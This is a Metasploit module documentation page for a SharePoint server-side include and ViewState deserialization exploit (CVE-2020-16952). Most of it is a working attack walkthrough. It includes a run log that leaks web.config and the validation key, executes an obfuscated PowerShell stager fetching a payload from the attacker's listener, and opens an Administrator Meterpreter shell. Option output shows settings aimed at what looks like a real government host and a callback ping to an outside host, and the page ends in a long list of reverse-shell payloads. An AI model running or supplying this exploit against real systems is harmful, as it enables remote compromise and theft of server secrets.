Microsoft SharePoint Server-Side Include and ViewState RCE - Metasploit


This page contains detailed information about how to use the exploit/windows/http/sharepoint_ssi_viewstate metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft SharePoint Server-Side Include and ViewState RCE
Module: exploit/windows/http/sharepoint_ssi_viewstate
Source code: modules/exploits/windows/http/sharepoint_ssi_viewstate.rb
Disclosure date: 2020-10-13
Last modification time: 2021-06-14 10:15:27 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-16952

This module exploits a server-side include (SSI) in SharePoint to leak the web.config file and forge a malicious ViewState with the extracted validation key. This exploit is authenticated and requires a user with page creation privileges, which is a standard permission in SharePoint. The web.config file will be stored in loot once retrieved, and the VALIDATION_KEY option can be set to short-circuit the SSI and trigger the ViewState deserialization. Tested against SharePoint 2019 on Windows Server 2016.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • config-changes: Module modifies some configuration setting on the target machine.
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/windows/http/sharepoint_ssi_viewstate
msf exploit(sharepoint_ssi_viewstate) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Description

This module exploits a server-side include (SSI) in SharePoint to leak the web.config file and forge a malicious ViewState with the extracted validation key.

This exploit is authenticated and requires a user with page creation privileges, which is a standard permission in SharePoint.

The web.config file will be stored in loot once retrieved, and the VALIDATION_KEY option can be set to short-circuit the SSI and trigger the ViewState deserialization.

Tested against SharePoint 2019 on Windows Server 2016.

Setup

Follow Microsoft's documentation.

Verification Steps


Follow Setup and Scenarios.

Targets


Windows Command

This executes a Windows command.

Windows Dropper

This uses a Windows dropper to execute code.

PowerShell Stager

This uses a PowerShell stager to execute code.

Options


HttpUsername

Set this to the SharePoint username.

HttpPassword

Set this to the SharePoint password.

VALIDATION_KEY

Set this to the ViewState validation key if you have it.

Set this to a SharePoint cookie if you have one. This is primarily useful for form auth.

Scenarios


SharePoint 2019 on Windows Server 2016

msf6 > use exploit/windows/http/sharepoint_ssi_viewstate
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > options

Module options (exploit/windows/http/sharepoint_ssi_viewstate):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   COOKIE                           no        SharePoint cookie if you have one
   HttpPassword                     no        SharePoint password
   HttpUsername                     no        SharePoint username
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT           80               yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       Base path
   URIPATH                          no        The URI to use for this exploit (default is random)
   VALIDATION_KEY                   no        ViewState validation key
   VHOST                            no        HTTP server virtual host


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   2   PowerShell Stager


msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set rhosts 192.168.123.237
rhosts => 192.168.123.237
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set httpusername Administrator
httpusername => Administrator
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set httppassword Passw0rd!
httppassword => Passw0rd!
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > run

[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. SharePoint 16.0.0.10337 is a vulnerable build.
[*] Creating page for SSI: /z0zL8ruBOIcdq7aVekdlh.aspx
[+] Successfully created page
[*] Leaking web.config
[+] Saved web.config to /Users/wvu/.msf4/loot/20201015131428_default_192.168.123.237_web.config_940022.txt
[+] ViewState validation key: FEF7456DF90E1A6B7CA04D00ED56228602E2AF3C94B7A34F7735D5AFC340C9E4
[*] Deleting /z0zL8ruBOIcdq7aVekdlh.aspx
[+] Successfully deleted page
[*] Executing PowerShell Stager for windows/x64/meterpreter/reverse_https
[*] Powershell command length: 2918
[*] Executing command: powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''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''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
[+] Successfully executed command
[*] https://192.168.123.1:8443 handling request from 192.168.123.237; (UUID: 8g4qnmlb) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.237:62885) at 2020-10-15 13:15:00 -0500

meterpreter > getuid
Server username: GIBSON\Administrator
meterpreter > sysinfo
Computer        : WIN-G2PGASM3QFA
OS              : Windows 2016+ (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : GIBSON
Logged On Users : 18
Meterpreter     : x64/windows
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the windows/http/sharepoint_ssi_viewstate exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/sharepoint_ssi_viewstate

[*] Using configured payload windows/exec
msf6 exploit(windows/http/sharepoint_ssi_viewstate) > show info

       Name: Microsoft SharePoint Server-Side Include and ViewState RCE
     Module: exploit/windows/http/sharepoint_ssi_viewstate
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-13

Provided by:
  mr_me
  wvu <[email protected]>

Module side effects:
 ioc-in-logs
 config-changes
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Windows Command
  1   Windows Dropper
  2   PowerShell Stager

Check supported:
  Yes

Basic options:
  Name            Current Setting             Required  Description
  ----            ---------------             --------  -----------
  COOKIE          a=a                         no        SharePoint cookie if you have one
  HttpPassword                                no        SharePoint password
  HttpUsername                                no        SharePoint username
  Proxies         http://192.168.204.1:8080/  no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS          10.40.81.105                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           443                         yes       The target port (TCP)
  SRVHOST         0.0.0.0                     yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT         8080                        yes       The local port to listen on.
  SSL             true                        no        Negotiate SSL/TLS for outgoing connections
  SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI       /                           yes       Base path
  URIPATH                                     no        The URI to use for this exploit (default is random)
  VALIDATION_KEY                              no        ViewState validation key
  VHOST           cbtwasool.ia.gov.ae         no        HTTP server virtual host

Payload information:

Description:
  This module exploits a server-side include (SSI) in SharePoint to 
  leak the web.config file and forge a malicious ViewState with the 
  extracted validation key. This exploit is authenticated and requires 
  a user with page creation privileges, which is a standard permission 
  in SharePoint. The web.config file will be stored in loot once 
  retrieved, and the VALIDATION_KEY option can be set to short-circuit 
  the SSI and trigger the ViewState deserialization. Tested against 
  SharePoint 2019 on Windows Server 2016.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-16952
  https://srcincite.io/advisories/src-2020-0022/
  https://srcincite.io/pocs/cve-2020-16952.py.txt
  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952

Module Options


This is a complete list of options available in the windows/http/sharepoint_ssi_viewstate exploit:

msf6 exploit(windows/http/sharepoint_ssi_viewstate) > show options

Module options (exploit/windows/http/sharepoint_ssi_viewstate):

   Name            Current Setting             Required  Description
   ----            ---------------             --------  -----------
   COOKIE          a=a                         no        SharePoint cookie if you have one
   HttpPassword                                no        SharePoint password
   HttpUsername                                no        SharePoint username
   Proxies         http://192.168.204.1:8080/  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          10.40.81.105                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           443                         yes       The target port (TCP)
   SRVHOST         0.0.0.0                     yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080                        yes       The local port to listen on.
   SSL             true                        no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                           yes       Base path
   URIPATH                                     no        The URI to use for this exploit (default is random)
   VALIDATION_KEY                              no        ViewState validation key
   VHOST           cbtwasool.ia.gov.ae         no        HTTP server virtual host

Payload options (windows/exec):

   Name      Current Setting                                           Required  Description
   ----      ---------------                                           --------  -----------
   CMD       ping 6ovdf9xlojx9gniwak7707ys7jdd12.burpcollaborator.net  yes       The command string to execute
   EXITFUNC  process                                                   yes       Exit technique (Accepted: '', seh, thread, process, none)

Exploit target:

   Id  Name
   --  ----
   2   PowerShell Stager

Advanced Options


Here is a complete list of advanced options supported by the windows/http/sharepoint_ssi_viewstate exploit:

msf6 exploit(windows/http/sharepoint_ssi_viewstate) > show advanced

Module advanced options (exploit/windows/http/sharepoint_ssi_viewstate):

   Name                                    Current Setting                                     Required  Description
   ----                                    ---------------                                     --------  -----------
   AutoCheck                               false                                               no        Run check before exploit
   CMDSTAGER::DECODER                                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR                       auto                                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, l
                                                                                                         wprequest, psh_invokewebrequest)
   CMDSTAGER::SSL                          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                                             no        Writable directory for staged files
   ContextInformationFile                                                                      no        The information file that contains context information
   DOMAIN                                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS                           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler                   false                                               no        Disable the handler code for the selected payload
   DotNetGadgetChain                       TypeConfuseDelegate                                 yes       .NET gadget chain to use in ViewState (Accepted: TextFormattingRunProperties, TypeConfuseDelegate, WindowsIdentity)
   EXE::Custom                                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR                              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject                             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod                          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                                               no        The executable template file name.
   EnableContextEncoding                   false                                               no        Use transient context when encoding payloads
   FingerprintCheck                        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit                            false                                               no        Override check result
   HttpClientTimeout                                                                           no        HTTP connection and receive timeout
   HttpRawHeaders                                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors                         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly                    false                                               no        Show HTTP headers only in HttpTrace
   ListenerComm                                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR                              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                                               no        The msi template file name
   MSI::UAC                                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Powershell::encode_final_payload        false                                               yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false                                               yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false                                               yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false                                               yes       Encrypt PSH with RC4
   Powershell::method                      reflection                                          yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false                                               yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true                                                yes       Execute powershell without interaction
   Powershell::persist                     false                                               yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true                                                yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                                                   no        Prepend seconds of sleep
   Powershell::remove_comspec              false                                               yes       Produce script calling powershell directly
   Powershell::strip_comments              true                                                yes       Strip comments
   Powershell::strip_whitespace            false                                               yes       Strip whitespace
   Powershell::sub_funcs                   false                                               yes       Substitute function names
   Powershell::sub_vars                    true                                                yes       Substitute variable names
   Powershell::wrap_double_quotes          true                                                yes       Wraps the -Command argument in single quotes
   SSLCipher                                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false                                               no        Enable SSL/TLS-level compression
   SSLVersion                              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2
                                                                                                         )
   SendRobots                              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent                               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                                   no        Specify the workspace for this module
   WfsDelay                                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (windows/exec):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   PrependMigrate      false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                   no        Process to spawn and run shellcode in
   VERBOSE             false            no        Enable detailed status messages
   WORKSPACE                            no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/http/sharepoint_ssi_viewstate module can exploit:

msf6 exploit(windows/http/sharepoint_ssi_viewstate) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Command
   1   Windows Dropper
   2   PowerShell Stager

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/sharepoint_ssi_viewstate exploit:

msf6 exploit(windows/http/sharepoint_ssi_viewstate) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   6    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   7    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   8    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   9    payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   10   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   11   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   12   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   13   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   14   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   15   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   16   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   17   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   18   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   19   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   21   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   22   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   23   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   24   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   25   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   26   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   27   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   28   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   29   payload/windows/exec                                                         normal  No     Windows Execute Command
   30   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   31   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   32   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   33   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   34   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   35   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   36   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   37   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   38   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   39   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   40   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   41   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   42   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   43   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   44   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   45   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   46   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   47   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   48   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   49   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   50   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   51   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   52   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   53   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   55   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   56   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   57   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   58   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   59   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   60   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   61   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   62   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   63   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   64   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   65   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   66   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   67   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   68   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   69   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   70   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   71   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   72   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   73   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   74   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   75   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   76   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   77   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   78   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
